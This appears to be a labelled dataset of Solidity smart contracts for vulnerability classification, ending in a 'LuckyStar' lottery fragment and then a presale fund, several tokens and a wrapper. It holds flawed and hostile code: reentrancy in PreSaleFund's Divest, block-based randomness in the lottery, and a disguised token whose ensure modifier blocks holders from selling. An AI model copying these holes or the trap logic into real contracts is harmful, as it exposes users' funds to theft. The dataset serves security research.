= now.add(rndInit_); round_[_rID].pot = _res; return(_eventData_); } function pay10Winners(uint256 _pot) private returns(uint256){ uint256 _left=74; uint256 _rID = rID_; uint256 _plyrCtr=round_[_rID].plyrCtr; if(_plyrCtr>=1){ uint256 _win1= _pot.mul(bigPrize_).div(100); plyr_[plyrOrders_[_plyrCtr]].win=_win1.add( plyr_[plyrOrders_[_plyrCtr]].win); _left=_left.sub(bigPrize_); }else{ return(_left); } if(_plyrCtr>=2){ uint256 _win2=_pot.div(5); plyr_[plyrOrders_[_plyrCtr-1]].win=_win2.add( plyr_[plyrOrders_[_plyrCtr]-1].win); _left=_left.sub(20); }else{ return(_left); } if(_plyrCtr>=3){ uint256 _win3=_pot.div(10); plyr_[plyrOrders_[_plyrCtr-2]].win=_win3.add( plyr_[plyrOrders_[_plyrCtr]-2].win); _left=_left.sub(10); }else{ return(_left); } uint256 _win4=_pot.div(50); for(uint256 i=_plyrCtr-3;(i>_plyrCtr-10)&&(i>0);i--){ if(i==0) return(_left); plyr_[plyrOrders_[i]].win=_win4.add(plyr_[plyrOrders_[i]].win); _left=_left.sub(2); } return(_left); } function pay10WinnersDaily(uint256 _pot) private returns(uint256){ uint256 _left=74; uint256 _rID = rID_; uint256 _plyrForPrizeCtr=round_[_rID].plyrForPrizeCtr; if(_plyrForPrizeCtr>=1){ uint256 _win1= _pot.mul(bigPrize_).div(100); plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr]].win=_win1.add( plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr]].win); _left=_left.sub(bigPrize_); }else{ return(_left); } if(_plyrForPrizeCtr>=2){ uint256 _win2=_pot.div(5); plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr-1]].win=_win2.add( plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr]-1].win); _left=_left.sub(20); }else{ return(_left); } if(_plyrForPrizeCtr>=3){ uint256 _win3=_pot.div(10); plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr-2]].win=_win3.add( plyr_[plyrForPrizeOrders_[_plyrForPrizeCtr]-2].win); _left=_left.sub(10); }else{ return(_left); } uint256 _win4=_pot.div(50); for(uint256 i=_plyrForPrizeCtr-3;(i>_plyrForPrizeCtr-10)&&(i>0);i--){ if(i==0) return(_left); plyr_[plyrForPrizeOrders_[i]].win=_win4.add(plyr_[plyrForPrizeOrders_[i]].win); _left=_left.sub(2); } return(_left); } function nextPrizeTime() private returns(uint256){ while(true){ uint256 _prizeTime=round_[rID_].prizeTime; _prizeTime =_prizeTime.add(prizeTimeInc_); if(_prizeTime>now) return(_prizeTime); } return(round_[rID_].prizeTime.add( prizeTimeInc_)); } function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); plyrRnds_[_pID][_rIDlast].keyProfit = _earnings.add(plyrRnds_[_pID][_rIDlast].keyProfit); } } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LSDatasets.EventReturns memory _eventData_) private returns(LSDatasets.EventReturns) { uint256 _com = _eth / 20; uint256 _invest_return = 0; bool _isSuper=plyr_[_affID].super; _invest_return = distributeInvest(_pID, _eth, _affID,_isSuper); if(_isSuper==false) _com = _com.mul(2); _com = _com.add(_invest_return); plyr_[pIdx_].aff=_com.add(plyr_[pIdx_].aff); return(_eventData_); } function distributeInvest(uint256 _pID, uint256 _aff_eth, uint256 _affID,bool _isSuper) private returns(uint256) { uint256 _left=0; uint256 _aff; uint256 _aff_2; uint256 _aff_3; uint256 _affID_1; uint256 _affID_2; uint256 _affID_3; if(_isSuper==true) _aff = _aff_eth.mul(12).div(100); else _aff = _aff_eth.div(10); _aff_2 = _aff_eth.mul(3).div(100); _aff_3 = _aff_eth.div(100); _affID_1 = _affID; _affID_2 = plyr_[_affID_1].laff; _affID_3 = plyr_[_affID_2].laff; if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID_1].aff = _aff.add(plyr_[_affID_1].aff); if(_isSuper==true){ uint256 _affToPID=_aff_eth.mul(3).div(100); plyr_[_pID].aff = _affToPID.add(plyr_[_pID].aff); } } else { _left = _left.add(_aff); } if (_affID_2 != _pID && _affID_2 != _affID && plyr_[_affID_2].name != '') { plyr_[_affID_2].aff = _aff_2.add(plyr_[_affID_2].aff); } else { _left = _left.add(_aff_2); } if (_affID_3 != _pID && _affID_3 != _affID && plyr_[_affID_3].name != '') { plyr_[_affID_3].aff = _aff_3.add(plyr_[_affID_3].aff); } else { _left= _left.add(_aff_3); } return _left; } function potSwap() external payable { uint256 _rID = rID_ + 1; round_[_rID].pot = round_[_rID].pot.add(msg.value); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, LSDatasets.EventReturns memory _eventData_) private returns(LSDatasets.EventReturns) { uint256 _gen = (_eth.mul(gen_)) / 100; uint256 _air = (_eth / 50); uint256 _com= (_eth / 20); uint256 _aff=(_eth.mul(19))/100; airDropPot_ = airDropPot_.add(_air); uint256 _pot= _eth.sub(_gen).sub(_air); _pot=_pot.sub(_com).sub(_aff); uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function checkDoubledProfit(uint256 _pID, uint256 _rID) private { uint256 _keys = plyrRnds_[_pID][_rID].keys; if (_keys > 0) { uint256 _genVault = plyr_[_pID].gen; uint256 _genWithdraw = plyrRnds_[_pID][_rID].genWithdraw; uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd); uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2); if (_genVault.add(_genWithdraw).add(_genEarning) >= _doubleProfit) { uint256 _remainProfit = _doubleProfit.sub(_genVault).sub(_genWithdraw); plyr_[_pID].gen = _remainProfit.add(plyr_[_pID].gen); plyrRnds_[_pID][_rID].keyProfit = _remainProfit.add(plyrRnds_[_pID][_rID].keyProfit); round_[_rID].keys = round_[_rID].keys.sub(_keys); plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys); plyrRnds_[_pID][_rID].mask = 0; } } } function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { if ( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].mask) ) return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].mask) ); else return 0; } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1e18); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18))); } function withdrawEarnings(uint256 _pID,bool isWithdraw) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); if (isWithdraw) plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][plyr_[_pID].lrnd].genWithdraw); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } bool public activated_ = false; function activate() public { require(msg.sender == admin, "only admin can activate"); require(activated_ == false, "LuckyStar already activated"); activated_ = true; rID_ = 1; round_[1].strt = now ; round_[1].end = now + rndInit_ ; round_[1].prizeTime=1536062400; } function setMinBuyForPrize(uint256 _min) onlyOwner() public{ minBuyForPrize_ = _min; } } library LSDatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; bool super; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 keyProfit; uint256 genWithdraw; } struct Round { uint256 plyr; uint256 plyrCtr; uint256 plyrForPrizeCtr; uint256 prizeTime; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; } } library LSKeysCalcShort { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters"); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space"); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, "string cannot start with 0x"); require(_temp[1] != 0x58, "string cannot start with 0X"); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), "string contains invalid characters" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces"); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, "string cannot be only numbers"); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }
1
4,859
pragma solidity ^0.4.11; contract PreSaleFund { address owner = msg.sender; event CashMove(uint amount,bytes32 logMsg,address target,address currentOwner); mapping(address => uint) investors; uint public MinInvestment = 0.1 ether; function loggedTransfer(uint amount, bytes32 logMsg, address target, address currentOwner) payable { if(msg.sender != address(this))throw; if(target.call.value(amount)()) { CashMove(amount, logMsg, target, currentOwner); } } function Invest() public payable { if (msg.value > MinInvestment) { investors[msg.sender] += msg.value; } } function Divest(uint amount) public { if ( investors[msg.sender] > 0 && amount > 0) { this.loggedTransfer(amount, "", msg.sender, owner); investors[msg.sender] -= amount; } } function SetMin(uint min) public { if(msg.sender==owner) { MinInvestment = min; } } function GetInvestedAmount() constant public returns(uint) { return investors[msg.sender]; } function withdraw() public { if(msg.sender==owner) { this.loggedTransfer(this.balance, "", msg.sender, owner); } } }
1
3,993
pragma solidity ^0.4.12; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic, Ownable { using SafeMath for uint256; mapping(address => uint256) balances; mapping(address=>uint256) public indexes; mapping(uint256=>address) public addresses; uint256 public lastIndex = 0; address public icoAddress; bool public locked = true; function setIcoAddress(address _icoAddress) public onlyOwner { icoAddress = _icoAddress; } function setLocked(bool _locked) public onlyOwner { locked = _locked; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); if(locked){ if(msg.sender!=icoAddress&&msg.sender!=owner) throw; } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); if(_value > 0){ if(balances[msg.sender] == 0){ addresses[indexes[msg.sender]] = addresses[lastIndex]; indexes[addresses[lastIndex]] = indexes[msg.sender]; indexes[msg.sender] = 0; delete addresses[lastIndex]; lastIndex--; } if(indexes[_to]==0){ lastIndex++; addresses[lastIndex] = _to; indexes[_to] = lastIndex; } } return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); uint256 _allowance = allowed[_from][msg.sender]; balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Blend is BurnableToken { string public constant name = "Blend"; string public constant symbol = "BLE"; uint public constant decimals = 18; uint256 public constant initialSupply = 40000000 * (10 ** uint256(decimals)); function Blend () { totalSupply = initialSupply; balances[msg.sender] = initialSupply; addresses[1] = msg.sender; indexes[msg.sender] = 1; lastIndex = 1; } function getAddresses() constant returns (address[]){ address[] memory addrs = new address[](lastIndex); for(uint i = 0; i < lastIndex; i++){ addrs[i] = addresses[i+1]; } return addrs; } function distributeTokens(uint percent, uint startIndex, uint endIndex) onlyOwner returns (uint) { uint distributed = 0; for(uint i = startIndex; i < endIndex; i++){ address holder = addresses[i+1]; uint reward = percent * balances[holder] / 100; balances[holder] += reward; distributed += reward; Transfer(owner, holder, reward); } balances[owner] -= distributed; return distributed; } }
1
4,887
pragma solidity ^0.5.14; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } contract StandardToken { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
1,076
pragma solidity ^0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20OldBasic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public; event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20Old is ERC20OldBasic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public; function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract WrapperLock is BasicToken, Ownable { using SafeMath for uint256; address public TRANSFER_PROXY; mapping (address => bool) public isSigner; bool public erc20old; string public name; string public symbol; uint public decimals; address public originalToken; mapping (address => uint256) public depositLock; mapping (address => uint256) public balances; function WrapperLock(address _originalToken, string _name, string _symbol, uint _decimals, address _transferProxy, bool _erc20old) Ownable() { originalToken = _originalToken; TRANSFER_PROXY = _transferProxy; name = _name; symbol = _symbol; decimals = _decimals; isSigner[msg.sender] = true; erc20old = _erc20old; } function deposit(uint _value, uint _forTime) public returns (bool success) { require(_forTime >= 1); require(now + _forTime * 1 hours >= depositLock[msg.sender]); if (erc20old) { ERC20Old(originalToken).transferFrom(msg.sender, address(this), _value); } else { require(ERC20(originalToken).transferFrom(msg.sender, address(this), _value)); } balances[msg.sender] = balances[msg.sender].add(_value); totalSupply_ = totalSupply_.add(_value); depositLock[msg.sender] = now + _forTime * 1 hours; return true; } function withdraw( uint _value, uint8 v, bytes32 r, bytes32 s, uint signatureValidUntilBlock ) public returns (bool success) { require(balanceOf(msg.sender) >= _value); if (now <= depositLock[msg.sender]) { require(block.number < signatureValidUntilBlock); require(isValidSignature(keccak256(msg.sender, address(this), signatureValidUntilBlock), v, r, s)); } balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); depositLock[msg.sender] = 0; if (erc20old) { ERC20Old(originalToken).transfer(msg.sender, _value); } else { require(ERC20(originalToken).transfer(msg.sender, _value)); } return true; } function withdrawBalanceDifference() public onlyOwner returns (bool success) { require(ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_) > 0); if (erc20old) { ERC20Old(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_)); } else { require(ERC20(originalToken).transfer(msg.sender, ERC20(originalToken).balanceOf(address(this)).sub(totalSupply_))); } return true; } function withdrawDifferentToken(address _differentToken, bool _erc20old) public onlyOwner returns (bool) { require(_differentToken != originalToken); require(ERC20(_differentToken).balanceOf(address(this)) > 0); if (_erc20old) { ERC20Old(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this))); } else { require(ERC20(_differentToken).transfer(msg.sender, ERC20(_differentToken).balanceOf(address(this)))); } return true; } function transfer(address _to, uint256 _value) public returns (bool) { return false; } function transferFrom(address _from, address _to, uint _value) public { require(isSigner[_to] || isSigner[_from]); assert(msg.sender == TRANSFER_PROXY); balances[_to] = balances[_to].add(_value); depositLock[_to] = depositLock[_to] > now ? depositLock[_to] : now + 1 hours; balances[_from] = balances[_from].sub(_value); Transfer(_from, _to, _value); } function allowance(address _owner, address _spender) public constant returns (uint) { if (_spender == TRANSFER_PROXY) { return 2**256 - 1; } } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function isValidSignature( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) public constant returns (bool) { return isSigner[ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s )]; } function addSigner(address _newSigner) public { require(isSigner[msg.sender]); isSigner[_newSigner] = true; } function keccak(address _sender, address _wrapper, uint _validTill) public constant returns(bytes32) { return keccak256(_sender, _wrapper, _validTill); } }
0
878
